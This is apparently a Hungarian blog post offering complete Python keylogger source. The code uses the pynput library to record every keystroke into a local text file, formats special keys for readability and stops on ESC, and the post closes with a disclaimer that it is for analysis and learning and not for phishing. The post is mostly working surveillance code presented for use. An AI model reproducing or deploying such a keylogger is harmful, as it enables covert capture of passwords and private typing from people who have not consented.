A Python billentyűzetnaplózó (keylogger) kód, amely a pynput könyvtárat használja a billentyűleütések figyelésére, és egy write_to_file függvénnyel menti azokat egy szöveges fájlba.
Előfeltétel, a kód futtatásához szükséged lesz a pynput csomagra. Ezt a terminálban az alábbi paranccsal tudod telepíteni:
bashpip install pynput
----------
import logging
from pynput import keyboard
# A naplófájl elérési útja
log_file = "keylog.txt"
def write_to_file(key):
"""
Ez a függvény felelős a lenyomott billentyűk fájlba írásáért.
"""
try:
with open(log_file, "a", encoding="utf-8") as f:
# Speciális billentyűk kezelése (pl. Space, Enter) a jobb olvashatóságért
if key == keyboard.Key.space:
f.write(" ")
elif key == keyboard.Key.enter:
f.write("\n")
elif key == keyboard.Key.tab:
f.write("\t")
elif hasattr(key, 'char') and key.char is not None:
# Normál karakterek mentése
f.write(key.char)
else:
# Egyéb speciális billentyűk (pl. Shift, Ctrl, nyilak) formázott mentése
f.write(f" [{str(key)}] ")
except Exception as e:
print(f"Hiba történt a fájlba íráskor: {e}")
def on_press(key):
"""
Meghívódik minden egyes billentyűleütésnél.
"""
write_to_file(key)
def on_release(key):
"""
Meghívódik a billentyű elengedésekor.
Az ESC billentyű megnyomásával leállíthatod a programot.
"""
if key == keyboard.Key.esc:
print("A billentyűzetfigyelés leállt.")
return False
# A billentyűzetfigyelő (Listener) elindítása
with keyboard.Listener(on_press=on_press, on_release=on_release) as listener:
print("A billentyűzetfigyelés elindult. Kilépéshez nyomd meg az ESC-et.")
listener.join()
------------
NEM ADATHALÁSZ CÉLRA, ELEMZÉSRE ÉS TANULÁSRA!
Nincsenek megjegyzések:
Megjegyzés küldése